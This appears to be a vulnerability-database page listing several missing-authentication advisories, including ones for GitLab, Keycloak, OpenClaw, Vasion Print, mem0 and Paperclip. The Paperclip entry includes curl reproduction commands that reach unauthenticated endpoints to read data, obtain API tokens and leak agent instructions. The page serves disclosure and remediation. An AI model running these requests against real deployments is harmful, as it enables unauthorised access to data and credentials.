  "published": "2026-07-14T20:47:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Labs64/NetLicensing-MCP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode"
}

GHSA-XC38-XCG4-VM4H

Vulnerability from github – Published: 2026-01-07 12:31 – Updated: 2026-01-07 12:31
VLAI
Details

Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.

Severity
2.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-31963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-07T12:17:01Z",
    "severity": "LOW"
  },
  "details": "Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.",
  "id": "GHSA-xc38-xcg4-vm4h",
  "modified": "2026-01-07T12:31:23Z",
  "published": "2026-01-07T12:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31963"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0127753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XC4Q-WVJC-4V56

Vulnerability from github – Published: 2024-10-11 15:30 – Updated: 2024-10-11 15:30
VLAI
Details

An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-11T13:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.",
  "id": "GHSA-xc4q-wvjc-4v56",
  "modified": "2024-10-11T15:30:32Z",
  "published": "2024-10-11T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9164"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2711204"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/493946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XC58-G4FH-RFXP

Vulnerability from github – Published: 2024-10-23 00:31 – Updated: 2024-10-23 18:33
VLAI
Details

An issue in Casa Systems NTC-221 version 2.0.99.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the /www/cgi-bin/nas.cgi component.

Severity
9.0 (Critical)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-22T22:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Casa Systems NTC-221 version 2.0.99.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the /www/cgi-bin/nas.cgi component.",
  "id": "GHSA-xc58-g4fh-rfxp",
  "modified": "2024-10-23T18:33:07Z",
  "published": "2024-10-23T00:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26519"
    },
    {
      "type": "WEB",
      "url": "https://cybercx.com.au/blog/zero-day-rce-in-netcomm-ntc-221-industrial-iot-m2m-lte-4g-router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XC7W-V5X6-CC87

Vulnerability from github – Published: 2026-02-17 17:14 – Updated: 2026-03-06 01:00
VLAI
Summary
OpenClaw has a webhook auth bypass when gateway is behind a reverse proxy (loopback remoteAddress trust)
Details

Summary

The BlueBubbles webhook handler previously treated any request whose socket remoteAddress was loopback (127.0.0.1, ::1, ::ffff:127.0.0.1) as authenticated. When OpenClaw Gateway is behind a reverse proxy (Tailscale Serve/Funnel, nginx, Cloudflare Tunnel, ngrok), the proxy typically connects to the gateway over loopback, allowing unauthenticated remote requests to bypass the configured webhook password.

This could allow an attacker who can reach the proxy endpoint to inject arbitrary inbound BlueBubbles message/reaction events.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: < 2026.2.12
  • Patched versions: >= 2026.2.12

Exposure / Configuration

  • BlueBubbles is an optional channel plugin (intended to eventually replace the legacy iMessage plugin, which is also optional). It is not enabled by default and is not part of a standard OpenClaw configuration.
  • Only deployments with the BlueBubbles webhook endpoint exposed through a reverse proxy are impacted.

Details

The BlueBubbles webhook handler accepts inbound events via an HTTP POST endpoint under the configured BlueBubbles webhook path.

In vulnerable versions, the handler would accept requests as authenticated if req.socket.remoteAddress is loopback, without validating forwarding headers. With common reverse-proxy setups, the gateway sees the proxy as the direct client (loopback), even when the original request is remote.

Fix

  • Primary fix (released in 2026.2.12): remove loopback-based authentication bypass and require the configured webhook secret.
  • Defense-in-depth follow-up (next release after commit below): treat requests with forwarding headers as proxied and never accept passwordless webhooks through a proxy.

Fix Commit(s)

Mitigations

  • Ensure a BlueBubbles webhook password is configured.
  • Do not expose the gateway webhook endpoint publicly without authentication.

Thanks @simecek for reporting.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T17:14:00Z",
    "nvd_published_at": "2026-03-05T22:16:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe BlueBubbles webhook handler previously treated any request whose socket `remoteAddress` was loopback (`127.0.0.1`, `::1`, `::ffff:127.0.0.1`) as authenticated. When OpenClaw Gateway is behind a reverse proxy (Tailscale Serve/Funnel, nginx, Cloudflare Tunnel, ngrok), the proxy typically connects to the gateway over loopback, allowing unauthenticated remote requests to bypass the configured webhook password.\n\nThis could allow an attacker who can reach the proxy endpoint to inject arbitrary inbound BlueBubbles message/reaction events.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.2.12`\n- Patched versions: `\u003e= 2026.2.12`\n\n## Exposure / Configuration\n\n- BlueBubbles is an optional channel plugin (intended to eventually replace the legacy iMessage plugin, which is also optional). It is not enabled by default and is not part of a standard OpenClaw configuration.\n- Only deployments with the BlueBubbles webhook endpoint exposed through a reverse proxy are impacted.\n\n## Details\n\nThe BlueBubbles webhook handler accepts inbound events via an HTTP POST endpoint under the configured BlueBubbles webhook path.\n\nIn vulnerable versions, the handler would accept requests as authenticated if `req.socket.remoteAddress` is loopback, without validating forwarding headers. With common reverse-proxy setups, the gateway sees the proxy as the direct client (loopback), even when the original request is remote.\n\n## Fix\n\n- Primary fix (released in `2026.2.12`): remove loopback-based authentication bypass and require the configured webhook secret.\n- Defense-in-depth follow-up (next release after commit below): treat requests with forwarding headers as proxied and never accept passwordless webhooks through a proxy.\n\n## Fix Commit(s)\n\n- [`f836c385ffc746cb954e8ee409f99d079bfdcd2f`](https://github.com/openclaw/openclaw/commit/f836c385ffc746cb954e8ee409f99d079bfdcd2f) (released in `2026.2.12`)\n- [`743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a`](https://github.com/openclaw/openclaw/commit/743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a) (defense-in-depth follow-up)\n\n## Mitigations\n\n- Ensure a BlueBubbles webhook password is configured.\n- Do not expose the gateway webhook endpoint publicly without authentication.\n\nThanks @simecek for reporting.",
  "id": "GHSA-xc7w-v5x6-cc87",
  "modified": "2026-03-06T01:00:29Z",
  "published": "2026-02-17T17:14:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xc7w-v5x6-cc87"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/743f4b28495cdeb0d5bf76f6ebf4af01f6a02e5a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/f836c385ffc746cb954e8ee409f99d079bfdcd2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.12"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-webhook-authentication-bypass-via-loopback-remoteaddress-trust"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has a webhook auth bypass when gateway is behind a reverse proxy (loopback remoteAddress trust)"
}

GHSA-XCF7-G637-P7F5

Vulnerability from github – Published: 2023-06-29 18:30 – Updated: 2024-04-04 05:17
VLAI
Details

STW (aka Sensor-Technik Wiedemann) TCG-4 Connectivity Module DeploymentPackage_v3.03r0-Impala and DeploymentPackage_v3.04r2-Jellyfish and TCG-4lite Connectivity Module DeploymentPackage_v3.04r2-Jellyfish allow an attacker to gain full remote access with root privileges without the need for authentication, giving an attacker arbitrary remote code execution over LTE / 4G network via SMS.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-29T16:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "STW (aka Sensor-Technik Wiedemann) TCG-4 Connectivity Module DeploymentPackage_v3.03r0-Impala and DeploymentPackage_v3.04r2-Jellyfish and TCG-4lite Connectivity Module DeploymentPackage_v3.04r2-Jellyfish allow an attacker to gain full remote access with root privileges without the need for authentication, giving an attacker arbitrary remote code execution over LTE / 4G network via SMS.",
  "id": "GHSA-xcf7-g637-p7f5",
  "modified": "2024-04-04T05:17:53Z",
  "published": "2023-06-29T18:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35830"
    },
    {
      "type": "WEB",
      "url": "https://www.stw-mobile-machines.com/fileadmin/user_upload/content/STW/PSIRT/STW-IR-23-001.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.stw-mobile-machines.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF46-8VVP-4HXX

Vulnerability from github – Published: 2021-03-12 21:33 – Updated: 2023-09-07 18:44
VLAI
Summary
Keycloak Missing authentication for critical function
Details

A flaw was found in Keycloak 12.0.0 where re-authentication does not occur while updating the password. This flaw allows an attacker to take over an account if they can obtain temporary, physical access to a user’s browser. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "12.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-20262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-12T19:13:32Z",
    "nvd_published_at": "2021-03-09T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Keycloak 12.0.0 where re-authentication does not occur while updating the password. This flaw allows an attacker to take over an account if they can obtain temporary, physical access to a user\u2019s browser. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.",
  "id": "GHSA-xf46-8vvp-4hxx",
  "modified": "2023-09-07T18:44:23Z",
  "published": "2021-03-12T21:33:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20262"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1933639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak Missing authentication for critical function"
}

GHSA-XFCH-MQ3G-X27H

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30
VLAI
Details

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 22.0.1049 and Application prior to version 20.0.2786 (VA/SaaS deployments) contain a default admin account and an installation‑time endpoint at /admin/query/update_database.php that can be accessed without authentication. An attacker who can reach the installation web interface can POST arbitrary root_user and root_password values, causing the script to replace the default admin credentials with attacker‑controlled ones. The script also contains hard‑coded SHA‑512 and SHA‑1 hashes of the default password, allowing the attacker to bypass password‑policy validation. As a result, an unauthenticated remote attacker can obtain full administrative control of the system during the initial setup. This vulnerability has been identified by the vendor as: V-2024-022 — Insecure Installation Credentials.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-34223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:36Z",
    "severity": "CRITICAL"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 22.0.1049\u00a0and Application prior to version 20.0.2786\u00a0(VA/SaaS deployments) contain\u00a0a default admin account\u00a0and an installation\u2011time endpoint at `/admin/query/update_database.php` that can be accessed without authentication. An attacker who can reach the installation web interface can POST arbitrary `root_user` and `root_password` values, causing the script to replace the default admin credentials with attacker\u2011controlled ones. The script also contains hard\u2011coded SHA\u2011512 and SHA\u20111 hashes of the default password, allowing the attacker to bypass password\u2011policy validation. As a result, an unauthenticated remote attacker can obtain full administrative control of the system during the initial setup.\u00a0This vulnerability has been identified by the vendor as: V-2024-022 \u2014 Insecure Installation Credentials.",
  "id": "GHSA-xfch-mq3g-x27h",
  "modified": "2025-10-09T18:30:27Z",
  "published": "2025-09-29T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34223"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-insecure-credentials-installation"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-insecure-installation-credentials"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XFQJ-R5QW-8G4J

Vulnerability from github – Published: 2026-04-16 22:47 – Updated: 2026-04-16 22:47
VLAI
Summary
Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
Details

Summary

Several API endpoints in authenticated mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.

Verified against the latest version.

Discord: sagi03581

Steps to Reproduce

1. Unauthenticated issue data access

GET /api/heartbeat-runs/:runId/issues returns issue data for a heartbeat run with zero authentication. Every other endpoint in server/src/routes/activity.ts calls assertCompanyAccess, but this one was missed.

curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> []  (HTTP 200, not 401 or 403)

If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.

2. Unauthenticated CLI auth challenge creation

POST /api/cli-auth/challenges creates a CLI authentication challenge with no actor check at all. The handler at server/src/routes/access.ts:1638-1659 skips any auth verification.

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key

The response includes a boardApiToken that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.

3. Unauthenticated agent instruction / system prompt leakage

These endpoints in server/src/routes/access.ts require no authentication:

curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints

curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
#   - every API endpoint and its parameters
#   - authentication mechanism (env var names, header formats)
#   - the complete agent coordination protocol
#   - the agent creation/hiring workflow

curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs

This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.

4. Unauthenticated deployment configuration disclosure

GET /api/health returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.

curl -s http://<target>:3100/api/health
# {
#   "deploymentMode": "authenticated",
#   "deploymentExposure": "public",
#   "authReady": true,
#   "bootstrapStatus": "ready",
#   "version": "2026.403.0",
#   ...
# }

Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.

Impact

  • Data exposure: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
  • Reconnaissance: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
  • Auth bypass stepping stone: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).

Suggested Fixes

  1. Add authentication to heartbeat run issues in server/src/routes/activity.ts:

  2. GET /api/heartbeat-runs/:runId/issues -- add assertCompanyAccess like every other endpoint in the same file

  3. Add authentication to CLI challenge creation in server/src/routes/access.ts:

  4. POST /api/cli-auth/challenges -- add assertBoard at minimum

  5. Add authentication to skill endpoints in server/src/routes/access.ts:

  6. GET /api/skills/available
  7. GET /api/skills/index

  8. GET /api/skills/:skillName

  9. Reduce health endpoint information -- consider removing deploymentMode, deploymentExposure, and version from the unauthenticated response, or gating the full response behind assertBoard

  10. Consider a global auth rejection middleware for all /api/* routes in authenticated mode. Currently unauthenticated requests get actor: { type: "none" } and pass through to next(), relying on each route handler to check individually. A missing check means an open endpoint. Rejecting type: "none" at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.

Contact

Discord: sagi03581

Happy to help verify fixes or provide additional details.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:47:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nSeveral API endpoints in `authenticated` mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.\n\nVerified against the latest version.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\n### 1. Unauthenticated issue data access\n\n`GET /api/heartbeat-runs/:runId/issues` returns issue data for a heartbeat run with zero authentication. Every other endpoint in `server/src/routes/activity.ts` calls `assertCompanyAccess`, but this one was missed.\n\n```bash\ncurl -s http://\u003ctarget\u003e:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues\n# -\u003e []  (HTTP 200, not 401 or 403)\n```\n\nIf an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.\n\n### 2. Unauthenticated CLI auth challenge creation\n\n`POST /api/cli-auth/challenges` creates a CLI authentication challenge with no actor check at all. The handler at `server/src/routes/access.ts:1638-1659` skips any auth verification.\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n# returns challenge ID, token, and a pre-generated board API key\n```\n\nThe response includes a `boardApiToken` that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.\n\n### 3. Unauthenticated agent instruction / system prompt leakage\n\nThese endpoints in `server/src/routes/access.ts` require no authentication:\n\n```bash\ncurl -s http://\u003ctarget\u003e:3100/api/skills/index\n# returns all available skill endpoints\n\ncurl -s http://\u003ctarget\u003e:3100/api/skills/paperclip\n# returns the FULL agent heartbeat procedure including:\n#   - every API endpoint and its parameters\n#   - authentication mechanism (env var names, header formats)\n#   - the complete agent coordination protocol\n#   - the agent creation/hiring workflow\n\ncurl -s http://\u003ctarget\u003e:3100/api/skills/paperclip-create-agent\n# returns the full agent creation workflow with adapter configs\n```\n\nThis hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.\n\n### 4. Unauthenticated deployment configuration disclosure\n\n`GET /api/health` returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.\n\n```bash\ncurl -s http://\u003ctarget\u003e:3100/api/health\n# {\n#   \"deploymentMode\": \"authenticated\",\n#   \"deploymentExposure\": \"public\",\n#   \"authReady\": true,\n#   \"bootstrapStatus\": \"ready\",\n#   \"version\": \"2026.403.0\",\n#   ...\n# }\n```\n\nTells an attacker exactly how the instance is configured, whether registration is available, and what version is running.\n\n## Impact\n\n- **Data exposure**: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.\n- **Reconnaissance**: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.\n- **Auth bypass stepping stone**: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).\n\n## Suggested Fixes\n\n1. **Add authentication to heartbeat run issues** in `server/src/routes/activity.ts`:\n   - `GET /api/heartbeat-runs/:runId/issues` -- add `assertCompanyAccess` like every other endpoint in the same file\n\n2. **Add authentication to CLI challenge creation** in `server/src/routes/access.ts`:\n   - `POST /api/cli-auth/challenges` -- add `assertBoard` at minimum\n\n3. **Add authentication to skill endpoints** in `server/src/routes/access.ts`:\n   - `GET /api/skills/available`\n   - `GET /api/skills/index`\n   - `GET /api/skills/:skillName`\n\n4. **Reduce health endpoint information** -- consider removing `deploymentMode`, `deploymentExposure`, and `version` from the unauthenticated response, or gating the full response behind `assertBoard`\n\n5. Consider a **global auth rejection middleware** for all `/api/*` routes in `authenticated` mode. Currently unauthenticated requests get `actor: { type: \"none\" }` and pass through to `next()`, relying on each route handler to check individually. A missing check means an open endpoint. Rejecting `type: \"none\"` at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.\n\n## Contact\n\nDiscord: sagi03581\n\nHappy to help verify fixes or provide additional details.",
  "id": "GHSA-xfqj-r5qw-8g4j",
  "modified": "2026-04-16T22:47:05Z",
  "published": "2026-04-16T22:47:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-xfqj-r5qw-8g4j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode"
}

GHSA-XGJ7-GRXR-PRRP

Vulnerability from github – Published: 2026-07-08 00:37 – Updated: 2026-07-08 00:37
VLAI
Details

mem0's openmemory/api component contains an unauthenticated access vulnerability that allows unauthenticated attackers to read, write, and delete arbitrary user memories by accessing API routers registered without authentication middleware. Attackers can supply arbitrary user_id parameters or directly access memory retrieval endpoints to expose private memory content, or invoke pause endpoints with global_pause=true to cause denial-of-service across all users.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-59705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-07T23:16:55Z",
    "severity": "CRITICAL"
  },
  "details": "mem0\u0027s openmemory/api component contains an unauthenticated access vulnerability that allows unauthenticated attackers to read, write, and delete arbitrary user memories by accessing API routers registered without authentication middleware. Attackers can supply arbitrary user_id parameters or directly access memory retrieval endpoints to expose private memory content, or invoke pause endpoints with global_pause=true to cause denial-of-service across all users.",
  "id": "GHSA-xgj7-grxr-prrp",
  "modified": "2026-07-08T00:37:57Z",
  "published": "2026-07-08T00:37:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mem0ai/mem0/issues/6080"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mem0ai/mem0/commit/a3154d59e52386d4e1189c1f5f44819868f76514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mem0ai/mem0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/mem0-openmemory-api-unauthenticated-access-via-memory-endpoints"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
